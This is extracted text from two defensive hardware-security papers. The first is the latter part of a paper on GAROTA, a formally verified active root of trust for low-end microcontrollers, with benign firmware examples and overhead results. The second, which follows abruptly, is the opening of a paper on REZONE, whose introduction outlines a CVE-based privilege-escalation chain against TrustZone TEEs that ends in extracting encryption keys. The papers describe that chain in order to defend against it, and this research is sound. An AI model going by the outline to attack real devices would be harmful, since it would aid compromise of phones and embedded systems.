ing misconfiguration by untrusted software.

Finally, the FSM in Figure 9 verifiably implements LTL-
s 9, 10, and 11. This FSM has 5 states, one of which is RESET .
Two basic states correspond to whenever: the TCB is execut-
ing (state “∈ TCB”), and not executing (state “/∈ TCB”). From
/∈ TCB the only reachable path to ∈ TCB is through state
TCBentry, which requires PC = TCBmin – TCB only legal en-
try point. Similarly, from ∈ TCB the only reachable path to
/∈ TCB is through state TCBexit , which requires PC = TCBmax
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RESET

/∈ TCB

TCBentry

∈ TCB

TCBexit

PC = 0

otherwise

PC < TCBmin ∨ PC > TCBmax

PC = TCBmin∧¬ irq∧¬ DMAen
otherwise

PC = TCBmin
∧¬ irq∧¬ DMAen

(PC > TCBmin ∧ PC < TCBmax)
∧¬ irq∧¬ DMAen

otherwise

(PC > TCBmin ∧ PC < TCBmax)
∧¬ irq∧¬ DMAen

PC = TCBmax∧¬ irq∧¬ DMAen
otherwise

PC = TCBmax
∧¬ irq∧¬ DMAen

(PC < TCBmin ∨ PC > TCBmax)
∧¬ irq∧¬ DMAen

otherwise

Figure 9: Verified FSM for LTLs 9–11.

– TCB only legal exit. Also, in all states where PC ∈ TCB (in-
cluding entry and exit transitions) this FSM requires DMA
and interrupts to remain inactive. Any violation of these re-
quirements, in any of the four regular states, causes the FSM
transition to RESET , thus enforcing TCB execution protec-
tion.

4.7 TCB Confidentiality
Confidentiality of TCB data and code with respect to untrusted
applications is of particular interest when F implements cryp-
tographic functions or privacy-sensitive tasks.

This goal can be achieved by including and epilogue phase
in the TCB executable, with the goal of performing a DMEM
cleanup, erasing all traces of the TCB execution from the
stack and heap. While the TCB execution may be interrupted
before the execution of the epilogue phase, such an interrupt
will cause an MCU reset. The Re-Trigger on Failure property
assures that TCB code will execute (as a whole) after any reset
and will thus erase remaining execution traces from DMEM
before subsequent execution of untrusted applications. In a
similar vein, if confidentiality of the executable is desirable,
it can be implemented following LTL (12), which formalizes
read attempts based on Ren signal:

G : {
[¬(PC ∈ TCB)∧Ren∧ (Daddr ∈ TCB)∨
DMAen∧ (DMAaddr ∈ TCB)]→ reset

}

(12)

An FSM implementing this property is shown in Figure 10.
Note that, despite visual similarity with the FSM in Figure 7,
the confidentiality FSM checks for reads (instead of writes)
to the TCB (instead of entire PMEM).

This property prevents external reads to TCB code by mon-
itoring Ren, Daddr, and DMA. When combined with the afore-
mentioned erasure epilogue, it also enables secure storage

RUN RESET

otherwise otherwise

¬(PC ∈ TCB) ∧
(Ren ∧Daddr ∈ TCB∨DMAen ∧DMAaddr ∈ TCB)

PC = 0

Figure 10: Verified FSM for LTL 12.

of cryptographic secrets within the TCB binary, as in other
architectures, e.g., [5, 6, 22]. This part of GAROTA design is
optional, since some embedded applications do not require
confidentiality, as discussed in Sections 5.1 and 5.2.

4.8 Resets & Availability

One important remaining issue is availability. For example,
malware might interrupt (or tamper with) with INIT execution
after a reset preventing the subsequent execution of TCB.
Also, malware could to interrupt the TCB execution, after each
re-trigger, with the goal of resetting the MCU indefinitely,
and thereby preventing TCB execution from ever completing
its task.

We observe that (under GAROTA assumptions) such ac-
tions are not possible, since they would require either DMA
activity or interrupts to: (1) hijack INIT control-flow; or (2)
abuse GAROTA to successively reset the MCU during TCB
execution after each re-trigger. Given H5 interrupts are dis-
abled by default at boot time. Additionally, H4 states that any
prior DMA configuration is cleared to the default disabled
state after a reset. Hence, INIT and the first execution of TCB
after a reset cannot be interrupted or tampered with by DMA.

Finally, we note that, despite preventing security violations
by (and implementing re-trigger based on) resetting the MCU,
GAROTA does not provide any advantage to malware that aims
to simply disrupt execution of (non-TCB) applications by
causing resets. Any software running on bare metal (including
malware) can always intentionally reset the MCU. Resets are
the default mechanism to recover from regular software faults
on unmodified (off-the-shelf) low-end MCU-s, regardless of
GAROTA.

5 Sample Applications
Many low-end MCU use-cases and applications can benefit
from trigger-based active RoTs. To demonstrate generality
of GAROTA, we prototyped three concrete examples, each
with a different type of trigger. This section overviews these
examples: (1) GPIO-TCB uses external analog events (Sec-
tion 5.1), TimerTCB uses timers (Section 5.2), and NetTCB
uses network events (Section 5.3). Finally, Section 5.4 dis-
cusses how GAROTA can match active RoT services proposed
in [53], [30], and [38].
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1 i n t main ( ) {
2 TCB ( ) ;
3 main_loop ( ) ;
4 r e t u r n 0 ;
5 }

Figure 11: Program Entry Point

1 vo id setup ( vo id ) {
2 P1DIR = 0x00 ;
3 P1IE = 0x01 ;
4 P1IES = 0x00 ;
5 P1IFG = 0x00 ;
6 }

Figure 12: Trigger Setup

5.1 GPIO-TCB: Critical Sensing+Actuation
Our first application example, GPIO-TCB, operates in the con-
text of a safety-critical temperature sensor. In this setting, we
want to use GAROTA to assure that the sensor’s most safety-
critical function – sounding an alarm – is never prevented
from executing due to software compromise of the underly-
ing MCU. Once the alarm is on, the TCB implementation
will also send a help message through the MCU UART com-
munication interface2 and keep the alarm on until someone
physically presses a particular button to shut the alarm down.
This example also illustrates the use-case where the TCB
code awaits for an asynchronous input before resuming exe-
cution of untrusted software. We use a standard built-in MCU
interrupt, based on General Purpose Input/Output (GPIO) to
implement trigger. Since this is our first example, we discuss
GPIO-TCB in more detail than the other two.

As shown in Figure 11, MCU execution always starts by
calling the TCB (at line 2). Therefore, after MCU initial-
ization/reset, unprivileged (non-TCB) applications can only
execute after the TCB; assuming, of course, that formal guar-
antees discussed in Section 4 hold. These (unprivileged) ap-
plications are implemented inside main_loop function (at line
3).

The correct trigger configuration in GPIO-TCB can be
achieved in two ways. The first way is to set IRQc f g to the
desired parameters at MCU deployment time, by physically
writing this configuration to IRQc f g. The second option is to
implement this configuration in software as a part of the TCB.
Since the TCB is always the first to run after initialization/re-
set, it will configure IRQc f g correctly, enabling subsequent
trigger-s at runtime.

Figure 12 exemplifies IRQc f g configuration, implemented
as part of the TCB, i.e., called from within the TCB. This
setup function is statically linked to be located inside the
TCB memory region, thus respecting “TCB Execution Protec-
tion” LTL rules (see Definition 4). The setup first configures

2UART is the main communication interface in the MCU. It can in turn
connect to a ZigBee or Bluetooth radio that relays the message wirelessly, as
described in [25].

1 ISR (PORT1 , TCB ) {
2 dint ( ) ;
3 i f (first_run ) {
4 setup ( ) ;
5 }
6
7 P3DIR = 0x01 ; / / s e t P3 as o u t p u t
8 P3OUT = 0x01 ; / / t u r n b u z z e r on
9

10 UART_BAUD = BAUD ; / / s e t UART t o d e f a u l t speed (BAUD macro )
11 UART_CTL = UART_EN ; / / t u r n UART on ;
12
13 w h i l e (UART_STAT & UART_TX_FULL ) ; / / w a i t f o r any p r e v i o u s send t o c o m p l e t e
14 UART_TXD = 'H ' ; / / send 1 s t b y t e
15 w h i l e (UART_STAT & UART_TX_FULL ) ; / / w a i t f o r p r e v i o u s send t o c o m p l e t e
16 UART_TXD = ' E ' ; / / send 2nd b y t e
17 w h i l e (UART_STAT & UART_TX_FULL ) ; / / w a i t f o r p r e v i o u s send t o c o m p l e t e
18 UART_TXD = ' L ' ; / / send 3 rd b y t e
19 w h i l e (UART_STAT & UART_TX_FULL ) ; / / w a i t f o r p r e v i o u s send t o c o m p l e t e
20 UART_TXD = ' P ' ; / / send 4 t h b y t e
21
22 P2DIR = 0x00 ; / / s e t P2 GPIO as i n p u t
23 w h i l e ( 1 ) { / / w a i t f o r b u t t o n p r e s s
24 i f (P2IN == 0x01 ) { / / b u t t o n p r e s s d e t e c t e d
25 b r e a k ;
26 }
27 }
28 P3OUT = 0x00 ; / / t u r n b u z z e r o f f
29 eint ( ) ;
30 r e t u r n ( ) ;
31 }

Figure 13: GPIO-TCB use-case example

the physical port P1 as an input (line 2, “P1 direction” set
to 0x00, whereas 0x01 would set it as an output). At line 3,
P1 is set as “interrupt-enabled” (P1IE = 0x01). A value of
P1IES = 0x00 (line 4) indicates that, if the physical voltage
input of P1 changes from logic 0 to 1 (“low-to-high” transi-
tion), a GPIO interrupt is triggered and the respective handler
is called. Finally, P1IFG is cleared to indicate that the MCU
is free to receive interrupts (as opposed to busy). This initial
trusted configuration of IRQc f g cannot be modified afterwards
by untrusted applications due to GAROTA guarantees (see Sec-
tion 4). Based on this configuration, an analog temperature
sensing circuit, i.e., a voltage divider implemented using a
thermistor3 is connected to port P1. Resistances in this circuit
are set to achieve 5V (logic 1) when temperature exceeds a
fixed threshold, thus triggering a P1 interrupt.

Figure 13 shows the TCB implementation of F . The TCB
function is configured as an interrupt service routine for P1 us-
ing the ISR(PORT 1,TCB) compilation macro. This ensures
that interrupts based on P1 will cause the execution of this
particular function.

Once triggered, TCB disables interrupts (dint), calls
setup (if this is the first TCB call after initialization/reset),
and switches GPIO port P3 to active. Since P3 is connected to
a buzzer4, this turns on the alarm. The alarm remains on until
P3 is set back to 0x00. Once the alarm is on, TCB enables
UART communication interface (lines 10 and 11) by setting
its communication speed to a default value (constant BAUD)
and turning it on. Next, TCB uses UART interface to send a
“HELP” message (lines 13 – 20). Once sent, TCB sets port P2
as input, at line 22. In our sample TCB implementation, P2
is connected to an analog button used to deactivate the alarm.

3Thermistor is a resistance thermometer – its resistance varies with tem-
perature.

4A high-frequency oscillator circuit used for generating a buzzing sound.
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1 vo id setup ( vo id ) {
2 CCTL0 = CCIE ;
3 CCR0 = 1000000;
4 TACTL = TASSEL_2 + MC_1 ;
5 }

Figure 14: Timer Trigger Setup

1 ISR (TIMERA0 , TCB ) {
2 . . .
3 }

Figure 15: TimerTCB Routine

Hence, TCB code goes into a while-loop that checks for an
asynchronous button press, where the button is connected
to the GPIO interface P2. Once a button press is detected,
execution exits the while-loop and the alarm is turned off:
P3 = 0x00. Upon completion, TCB re-enables interrupts and
returns control to unprivileged software.

As discussed in Section 4, the executable corresponding
to Figure 13 is also protected by GAROTA. Thus, its behavior
cannot be modified by untrusted/compromised software.

5.2 TimerTCB: Secure Periodic Scheduling
Our second example, TimerTCB, is in the domain of real-
time task scheduling. Without GAROTA (even in the pres-
ence of a passive RoT), a compromised MCU controlled by
malware could ignore performing its periodic security- or
safety-critical tasks. (Recall that targeted MCU-s typically
run bare-metal software, with no OS support for preempt-
ing tasks). We show how GAROTA can easily ensure that a
prescribed task, implemented within the TCB periodically
executes.

TimerTCB only requires modifying IRQc f g to configure
the timer that will cause the interruption, as illustrated in Fig-
ure 14. The setup function is modified to enable the MCU’s
built-in TIMER-A0 to cause interrupts, at line 2. Interrupts
are set to occur whenever the timer’s counter reaches a de-
sired value (1 million in this example, at line 3). The timer is
set to increment the counter with edges of a particular MCU
clock (clock MC1, at line 4). As in the first example, the corre-
sponding interrupt service routine implements the TCB (Fig-
ure 15). To define the TCB function as the interrupt handler
for TIMER-A0 the compilation macro ISR(T IMERA0,TCB)
is used. In turn, the TCB can implement F as an arbitrary
safety-critical periodic task.

5.3 NetTCB: Network Event-based trigger

The last example, NetTCB, uses network event-based trigger
to ensure that the TCB quickly filters all received network
packets to identify those that carry TCB-destined commands
and take action. Incoming packets that do not contain such

1 vo id setup ( vo id ) {
2 UART_BAUD = BAUD ;
3 UART_CTL = UART_EN | UART_IEN_RX ;
4 }

Figure 16: UART Trigger Setup

1 ISR (UART_RX , TCB ) {
2 dint ( ) ;
3 i f (first_run ) {
4 setup ( ) ;
5 }
6 rxdata = UART_RXD ;
7 i f (rxdata == ' r ' ) {
8 reset ( ) ;
9 }

10 eint ( ) ;
11 r e t u r n ( ) ;
12 }

Figure 17: NetTCB Handler Routine and TCB Implementa-
tion

commands are ignored by the TCB and passed on to appli-
cations through the regular interface (i.e., reading from the
UART buffer). In this example, we implement guaranteed
receipt of external reset commands from some trusted remote
entity. This functionality might be desirable after an MCU
malfunction (e.g., due to a deadlock) is detected.

Here, trigger is configured to trap network events. IRQc f g
is set such that each incoming UART message causes an inter-
rupt, as shown in Figure 16. The TCB implementation, shown
in Figure 17, filters messages based their initial character ′r′

which is predefined as a command to reset the MCU. The use
of the compilation macro ISR(UART _RX ,TCB) causes this
TCB implementation to run whenever a message is received
via UART. Note that, in practice, such critical commands
should be authenticated by the TCB. Although this authen-
tication should be implemented within the TCB, we omit
it from this discussion for the sake of simplicity, and refer
to [24] for a discussion of authentication of external requests
in this setting.

5.4 Comparison with [30, 38, 53]

As mentioned earlier in the paper, some recent work [30, 53]
proposed security services that fall into the domain of active
RoT-s. However, these results focus on higher-end embedded
devices and require substantial hardware support: Authenti-
cated Watchdog Timer (AWDT) implemented as a separate
(stand-alone) microprocessor [53], or ARM TrustZone [30].
Each requirement is, by itself, far more expensive than the
cost of a typical low-end MCU targeted in this paper (see
Section 2).

In terms of functionality, both [53] and [30] are based
on timers. They use AWDT to force a device reset. As in
GAROTA, the TCB is the first to execute; this property is re-
ferred to as “gated boot” in [53]. However, unlike GAROTA,
[30, 53] do not consider active RoT behavior stemming from
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other types of interrupts, e.g., as in GAROTA examples in
Sections 5.1 and 5.3). We believe that this is partly because
these designs were originally intended as an active means
to enforce memory integrity, rather than a general approach
to guaranteed execution of trusted tasks based on arbitrary
trigger-s. Whereas, GAROTA is general enough to realize
an active means to enforce memory integrity. This can be
achieved by incorporating an integrity-ensuring function (e.g,
a suitable cryptographic keyed hash) into GAROTA TCB and
using it to check PMEM state upon a timer-based trigger.

As far as active RoT-s for lower-end MCU-s, prior work
in [38] focused on enabling trusted scheduling of security-
critical tasks. The architecture proposed in [38] can also en-
force periodic execution of a safety-critical task that can not be
interrupted, i.e., executes atomically. As such, it can be viewed
as a special case of timer-based triggers in GAROTA. However,
we note that (in addition to formal modeling and verification
– see below) GAROTA general design differs from [38] by
enabling various types of triggers, i.e., any interrupt, not just
expiring timers.

Finally, we emphasize that prior results involved neither
formally specified designs nor formally verified open-source
implementations. As discussed in Section 1, we believe these
features are important for eventual adoption of this type of an
architecture.

6 Implementation & Evaluation
We prototyped GAROTA (adhering to its architecture in Fig-
ure 2) using an open-source implementation of the popular
MSP430 MCU – openMPS430 [28] from OpenCores. In ad-
dition to GAROTA module, we reserve, by default, 2 KBytes
of PMEM for TCB functions. This size choice is configurable
at manufacturing time and MCU-s manufactured for differ-
ent purposes can choose different sizes. In our prototype, 2
KBytes is a a reasonable choice, corresponding to 5−25% of
the typical amount of PMEM in low-end MCU-s. The proto-
type supports one trigger of each type: timer-based, external
hardware, and network. This support is achieved by imple-
menting the IRQc f g protection, as described in Section 4. The
MCU already includes multiple timers and GPIO ports that
can be selected to act as trigger-s. By default, one of each is
used by our prototype. This enables the full set of types of
applications discussed in Section 5.

As a proof-of-concept, we use Xilinx Vivado to synthesize
our design and deploy it using the Basys3 Artix-7 FPGA
board. Prototyping using FPGAs is common in both research
and industry. Once a hardware design is synthesizable in
an FPGA, the same design can be used to manufacture an
Application-Specific Integrated Circuit (ASIC) at larger scale.

Hardware & Memory Overhead
Table 2 reports GAROTA hardware overhead as compared
to unmodified OpenMSP430 [28]. Similar to the related
work [4,15,17,19,20,42,55], we consider hardware overhead

in terms of additional Look-Up Tables (LUT-s) and regis-
ters. The increase in the number of LUT-s can be used as
an estimate of the additional chip cost and size required for
combinatorial logic, while the number of registers offers an
estimate on the state overhead required by the sequential logic
in GAROTA FSMs.

GAROTA hardware overhead is small with respect to the
unmodified MCU core – it requires 2.3% and 4.8% addi-
tional LUT-s and registers, respectively. In absolute numbers,
GAROTA adds 33 registers and 42 LUT-s to the underlying
MCU.

Runtime & Memory Overhead
We observed no discernible overhead for software execution
time on the GAROTA-enabled MCU. This is expected, since
GAROTA introduces no new instructions or modifications to
the MSP430 ISA and to the application executables. GAROTA
hardware runs in parallel with the original MSP430 CPU.
Aside from the reserved PMEM space for storing the TCB
code, GAROTA also does not incur any memory overhead.
This behavior does not depend on the number of functions or
triggers used inside the TCB.

Verification Cost
We verify GAROTA on an Ubuntu 18.04 machine running at
3.40GHz. Results are shown in Table 2. GAROTA implemen-
tation verification requires checking 7 LTL statements. The
overall verification pipeline (Section 4.1) is fast enough to
run on a commodity desktop in quasi-real-time.

Comparison with Prior RoTs
To the best of our knowledge, GAROTA is the first active RoT
targeting this lowest-end class of devices. Nonetheless, to pro-
vide a overhead point of reference and a comparison, we con-
trast GAROTA’s overhead with that of state-of-the-art passive
RoTs in the same class. Note that the results from [30,53] can
not be compared to GAROTA quantitatively. As noted in Sec-
tion 5.4, [53] relies on a standalone additional MCU and [30]
on ARM TrustZone. Both of these are (by themselves) more
expensive and sophisticated than the entire MSP430 MCU
(and similar low-end MCU-s in the same class). Our quan-
titative comparison focuses on VRASED [15], APEX [17],
and SANCUS [42]: passive RoTs implemented on the same
MCU type and thus directly comparable cost-wise. Table 3
provides a qualitative comparison among these designs. Fig-
ure 18 depicts relative overhead (in %) of GAROTA, VRASED,
APEX, and SANCUS with respect to total hardware cost of
the unmodified MSP430 MCU core.

In comparison with passive RoTs, GAROTA offers lower
hardware overhead. In part, this is because, to implement
its triggers, GAROTA leverages interrupt hardware support
already present in the underlying MCU. SANCUS incurs
substantially higher cost since it implements task isolation
and a cryptographic hash engine (for the purpose of verify-
ing software integrity) in hardware. VRASED has slightly
higher cost than GAROTA. It includes some properties that
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Hardware Reserved Verification
Reg LUT PMEM/Flash (bytes) # LTL Invariants Verified Verilog LoC Time (s) Mem (MB)

OpenMSP430 [28] 692 1813 0 - - - -
OpenMSP430 + GAROTA 725 1855 2048 (default) 7 484 3.1 13.5

Table 2: GAROTA Hardware overhead & verification costs.

Architecture Behavior Service HW Support Verification?
VRASED [15] Passive Attestation RTL Design Yes

SANCUS [42] Passive
Attestation &
Isolation RTL Design No

APEX [17] Passive
Attestation &
Proof of Execution RTL Design Yes

Cider [53] Active Timer-based trigger Additional MCU No
Lazarus [30] Active Timer-based trigger ARM TrustZone No
Trust. Sched. [38] Active Timer-based trigger RTL Design No
GAROTA (this paper) Active IRQ-based trigger RTL Design Yes

Table 3: Qualitative Comparison

GAROTA VRASED SANCUS APEX
0

50

100

2.
3 6.

7

79
.7

16
.7

4.
8

5.
3

11
5.

5

6.
4

Pe
rc

en
ta

ge
in

cr
ea

se
fr

om
ba

se

LUT-s Registers

Figure 18: Comparison with passive RoTs: Hardware over-
head

are similar to those of GAROTA, e.g., access control to par-
ticular memory segments and atomicity of its attestation im-
plementation. Also, VRASED requires hardware support for
an exclusive stack in DMEM. APEX hardware component
is a super-set of VRASED, providing an additional proof-of-
execution function in hardware. It thus requires strictly more
hardware support, resulting in slightly higher cost. GAROTA
also reserves approximately 3.1% (2 KBytes) of the MCU-s
16-bit address space for storing the TCB code. This value
is freely configurable and is chosen as a sensible default to
support envisioned RoT tasks, including sample applications
in Section 5. GAROTA-enabled MCU-s manufactured for
different use-cases could increase or decrease this amount
accordingly.

7 Restrictions, Limitations & Future Direc-
tions

We now discuss some limitations and requirements imposed
by GAROTA to the underlying MCU, as well as some direc-
tions for future work.

Remote/Runtime Software Updates. As discussed in Sec-
tion 4.2.4, GAROTA does not affect the developer’s ability
to reprogram the device physically, e.g., via USB/J-TAG in-
terface. However, if runtime software updates (e.g, sent by a
remote controller) are desirable, they must be implemented
within the TCB. This is because GAROTA prevents untrusted
code from modifying program memory. In this case, the Net-
TCB example (from Section 5.3) should be extended to detect
“update commands” (in addition to “reset commands” in the
current example). Upon receiving an “update command” the
TCB would then actively monitor the UART-RX (receive)
interface for further inputs from the controller and overwrite
program memory as commanded. (Recall that, as discussed in
Section 5.3, authenticating received commands is also crucial
in this case). Untrusted applications would not be allowed to
run for some time until the update is completed, as usually
required by secure software updates.

Unprivileged Interrupt Disablement. By design, any un-
privileged (non-TCB) software is precluded from disabling
interrupts globally and from disabling the GAROTA trigger
locally. However, disabling any other interrupt locally is still
possible. Interrupts are typically disabled by default and must
be actively enabled in software, e.g., as done by the setup
function in Section 5. Any unprivileged software can keep
track of currently enabled unprivileged interrupts and disable
them locally as needed. For example, the maximum number
of interrupts available in openMSP430 is 12. Whereas, real
MSP430 deployments usually support fewer interrupt sources.
Thus, we consider local disablement feasible. Nonetheless,
an alternative to avoiding this burden is to implement Non-
Maskable Interrupts (NMI) – which by default can not be
disabled globally – and use them as GAROTA trigger-s, while
allowing unprivileged applications to disable interrupts glob-
ally. However, this approach requires underlying MCU sup-
port for NMIs for each trigger of interest; hence it is less
general.

Atomicity. As the highest priority task running on the MCU,
the TCB code can not be interrupted. Any asynchronous in-
puts (e.g., a button press) must be actively checked by the
TCB code and cannot cause nested interrupts. As discussed
in Section 4, this is necessary to guarantee correct TCB ex-
ecution, once triggered. We illustrate how an asynchronous
input can be actively checked in the GPIO-TCB example of
Section 5.1. When utilizing GAROTA, developers should be
aware that, during TCB execution, inputs and signals that are
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not relevant to the TCB itself may be ignored. Generally, this
is the case for any interrupt, since it is common practice in
embedded system programming to disable other interrupts
while an interrupt is already being serviced. Similar to regular
interrupts, it is a good practice to keep TCB code short, fast,
and as simple as possible.

Self-Contained TCB. In order to comply with GAROTA
atomicity rule, the TCB code must be self-contained and en-
tirely located within the TCB designated region in program
memory. Thus, it is not possible to share common libraries
with untrusted applications, since these shared libraries would
need to be located outside the TCB program memory region.
Therefore, all TCB libraries must be statically linked at com-
pilation time. If the same library is used by both TCB and
unprivileged software, two local copies would be needed.

Other Future Directions. As discussed in Section 2,
GAROTA targets low-end, single-core devices that execute
instructions in place from program memory (without virtual
memory), and use simple memory-mapped I/O interfaces.
This simplifies the specification of goals and requirements,
allowing us to formally reason about GAROTA. From this
initial step, adapting and re-designing GAROTA for higher-
end devices, where these assumptions do no hold remains
an interesting and broad open problem. Also, as discussed
in Section 4.2.4, future work should consider integration of
tamper-resistance and network monitoring techniques to com-
plement GAROTA with security against physical attacks and
adversarial network jamming (in the NetTCB case).

8 Related Work
Aside from closely related work already discussed in Sec-
tion 5.4, several efforts yielded passive RoT designs for
resource-constrained low-end devices, along with formal spec-
ifications, formal verification and provable security.

Low-end RoT-s fall into three general categories: software-
based, hardware-based, or hybrid. Establishment of software-
based RoT-s [26, 29, 33, 36, 48–50] rely on strong assump-
tions about precise timing and constant communication de-
lays, which can be unrealistic in the IoT ecosystem. How-
ever, software-based RoTs are the only viable choice for
legacy devices that have no security-relevant hardware sup-
port. Hardware-based methods [35, 39, 40, 42, 45, 47, 52] rely
on security provided by dedicated hardware components (e.g.,
TPM [52] or ARM TrustZone [8]) or by the CPU ISA. How-
ever, the cost of such hardware is normally prohibitive for
lower-end IoT devices. Hybrid RoTs [10,15,17,23,34] aim to
achieve security equivalent to hardware-based mechanisms,
yet with lower hardware cost. They leverage minimal hard-
ware support while relying on software to reduce the com-
plexity of additional hardware.

In terms of functionality, such embedded RoTs are passive.

Upon receiving a request from an external trusted Verifier,
they can generate unforgeable proofs for the state of the MCU
or that certain actions were performed by the MCU. Security
services implemented by passive RoTs include: (1) memory
integrity verification, i.e., remote attestation [6, 10, 15, 23, 34,
42]; (2) verification of runtime properties, including control-
flow and data-flow attestation [4, 17, 19, 20, 27, 40, 43, 51, 55];
as well as (3) proofs of remote software updates, memory
erasure, and system-wide resets [5, 9, 16]. As discussed in
Section 1 and demonstrated in Section 5, several application
domains and use-cases could greatly benefit from more active
RoT-s. Therefore, the key motivation for GAROTA is to not
only provide proofs that actions have been performed (if
indeed they were), but also to assure that these actions will
necessarily occur.

Formalization and formal verification of RoTs for MCU-s
is a topic that has recently attracted lots of attention due to the
benefits discussed in Sections 1 and 4.1. VRASED [15] imple-
mented the first formally verified hybrid remote attestation
scheme. APEX [17] builds atop VRASED to implement and
formally verify an architecture that enables proofs of remote
execution of attested software. PURE [16] implements prov-
ably secure services for software updates, memory erasure,
and system-wide resets atop VRASED RoT. Another recent
result [11] formalized, and proved security of, a hardware-
assisted mechanism to prevent leakage of secrets through
time-based side-channel that can be abused by malware in
control of the MCU interrupts. Inline with aforementioned
work, GAROTA also formalizes its assumptions along with its
goals and implements the first formally verified active RoT
design.

9 Conclusions
This paper motivated and illustrated the design of GAROTA:
an active RoT targeting low-end MCU-s used as platforms for
embedded/IoT/CPS devices that perform safety-critical sens-
ing and actuation tasks. We believe that GAROTA is the first
clean-slate design of a active RoT and the first one applicable
to lowest-end MCU-s, which cannot host more sophisticated
security components, such as ARM TrustZone, Intel SGX
or TPM-s. We believe that this work is also the first formal
treatment of the matter and the first active RoT to support a
wide range of RoT trigger-s.
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Abstract

In TrustZone-assisted TEEs, the trusted OS has unrestricted
access to both secure and normal world memory. Unfortu-
nately, this architectural limitation has opened an aisle of
exploration for attackers, which have demonstrated how to
leverage a chain of exploits to hijack the trusted OS and gain
full control of the system, targeting (i) the rich execution
environment (REE), (ii) all trusted applications (TAs), and
(iii) the secure monitor. In this paper, we propose REZONE.
The main novelty behind REZONE design relies on leveraging
TrustZone-agnostic hardware primitives available on commer-
cially off-the-shelf (COTS) platforms to restrict the privileges
of the trusted OS. With REZONE, a monolithic TEE is restruc-
tured and partitioned into multiple sandboxed domains named
zones, which have only access to private resources. We have
fully implemented REZONE for the i.MX 8MQuad EVK and
integrated it with Android OS and OP-TEE. We extensively
evaluated REZONE using microbenchmarks and real-world
applications. REZONE can sustain popular applications like
DRM-protected video encoding with acceptable performance
overheads. We have surveyed 80 CVE vulnerability reports
and estimate that REZONE could mitigate 86.84% of them.

1 Introduction

Arm TrustZone [42, 45] is a technology embedded into Arm
processors shipped in billions of mobile phones and embed-
ded devices. Vendors and Original Equipment Manufacturers
(OEM) rely on TrustZone for deploying Trusted Execution
Environments (TEEs), which protect the execution of sensi-
tive programs named Trusted Applications (TAs). Some TAs
implement kernel-level services of the operating system (OS),
e.g., for user authentication or file disk encryption [3]. Other
TAs provide shared user-level functionality, e.g., DRM media
decoders [37] or online banking services [57]. TEEs them-
selves consist of a trusted software stack offering API and
runtime support for hosting TAs. TEEs such as Qualcomm’s
QSEE and OP-TEE protect the confidentiality and integrity
of TAs’ memory state, thereby ensuring it cannot be inspected
or tampered with by a potentially compromised OS.

To protect the TAs, TEEs leverage mechanisms provided
by TrustZone. In Armv7-A/Armv8-A, this technology pro-
vides two execution environments named normal world and

Secure Monitor EL3

EL1

EL0

Secure WorldNormal World

Application

Rich OS        Trusted OS

       TAU TAKMalware
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2
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b
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Figure 1: Privilege escalation attack in a TrustZone-assisted
TEE: (1) hijack a user-level TA, e.g., exploiting vulnerability
in the Widevine TA (CVE-2015-6639) [19], (2) hijack the
trusted OS, e.g., exploiting vulnerability in syscall interface of
Qualcomm’s QSEOS (CVE-2016-2431) [20]. Once in control
of the trusted OS, other attacks can be launched: (a) control
the rich OS, e.g., backdoor in the Linux kernel [22], (b) control
a kernel-level TA, e.g., to extract full disk encryption keys of
Android’s KeyMaster service [18], or (c) control the secure
monitor, e.g., to unbrick the device bootloader [21].

secure world1. The normal world runs a rich software stack,
named Rich Execution Environment (REE), comprised of
full-blown OS and applications; it is generally considered
untrusted. The secure world runs a smaller software stack
consisting of TEE and TAs. TrustZone enforces system-wide
isolation between worlds and provides controlled entry points
for world switching whenever the REE invokes TAs’ services.

However, in the TrustZone security architecture, the trusted
OS – i.e., one of TEE’s core components – runs with an ex-
cess of privileges, exposing the entire system to catastrophic
privilege escalation attacks if this component gets compro-
mised. Figure 1 illustrates these attacks. It shows the TEE
stack, consisting of secure monitor and trusted OS. The secure
monitor runs in EL3 – the most privileged exception level –
and provides essential mechanisms for world switching and
platform management. The trusted OS runs in S.EL1 – i.e.,
secure kernel mode – and implements memory management,
scheduling, IPC, and common services for TAs. TAs run in
unprivileged S.EL0 – i.e., secure user mode. TAs are directly
exposed to malicious requests coming from normal world
applications. If a TA’s control flow gets hijacked as a result
of exploiting a software vulnerability (1), the attacker can
control that TA. If the attacker can further hijack the trusted
OS by exploiting another vulnerability (2), he can gain full

1As per Arm’s recent documentation [6], secure world can be referred to
as trusted world; we adopt the previous and more familiar terminology [45].
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control of the system, including the REE in the normal world
(a), all the TAs (b), and the secure monitor (c).

This level of control is possible due to a fundamental vio-
lation of the principle of least privilege where an excess of
privileges is dangerously (and unnecessarily) granted to some
protection modes in the secure world. In particular, the attacks
just described leverage the fact that S.EL1 gives full permis-
sion to access and reconfigure both secure and non-secure
memory regions. Such level of control, however, should be
reserved only to the highest protection domain, i.e., EL3. Sim-
ilar problems mostly carryover to Armv8.4-A and onward,
with the new S.EL2 hypervisor mode for the secure world hav-
ing the same privileges over the monitor and the normal world
as S.EL1 had up until Armv8.4-A; if the secure hypervisor is
exploited the entire system will be compromised. Armv9-A
is also susceptible to some of these concerns, for instance,
allowing S.EL2 to arbitrarily control the normal world state.

Unfortunately, numerous devices face serious risks of be-
ing compromised by attacks of this nature. In the past, se-
curity researchers have demonstrated how these attacks can
be mounted by targeting the trusted OS through a chain of
vulnerability exploits as described in the caption of Figure 1.
Notably, recent studies [11] have shown that commercial TEE
systems have plenty and serious vulnerabilities, most of them
affecting user-level TAs and trusted OS. This suggests that the
current attack surface for TEE systems is seriously enlarged.

Despite the abundant research on TrustZone security [11,
45], there is a lack of practical system defenses if the trusted
OS is hijacked. TEE systems like Sanctuary [10] aim to re-
duce the attack surface of the trusted OS by relocating TAs
onto user-level enclaves in the normal world. However, due
to portability reasons, vendors and OEMs continue deploying
TAs in commercial TEEs, therefore exposing many devices
to potential attacks. Another approach is to confine the TEE
stack inside a secure world sandbox, e.g., by leveraging same
privilege isolation [32, 35] or hardware virtualization [56].
However, these approaches do not solve the fundamental prob-
lem of the excess of privileges granted to S.EL1 (or S.EL2).

This paper presents REZONE, a new security architecture
that can effectively counter ongoing privilege escalation at-
tacks by reducing the privileges of a potentially compromised
trusted OS. We build our solution specifically for restricting
the privileges of S.EL1 on Armv8-A platforms featuring the
protection modes displayed in Figure 1, and then discuss how
our techniques can be employed for reducing the excess of
S.EL2 privileges in Armv8.4-A and ensuing architectures.
With REZONE, a typical monolithic TEE can be restructured
and partitioned into one or multiple zones, which consist of
sandboxed domains inside the secure world. Zones have ac-
cess only to private memory regions, and provide an execution
environment for untrusted S.EL1/0 code, i.e., trusted OS and
TAs. REZONE restricts the memory access privileges of the
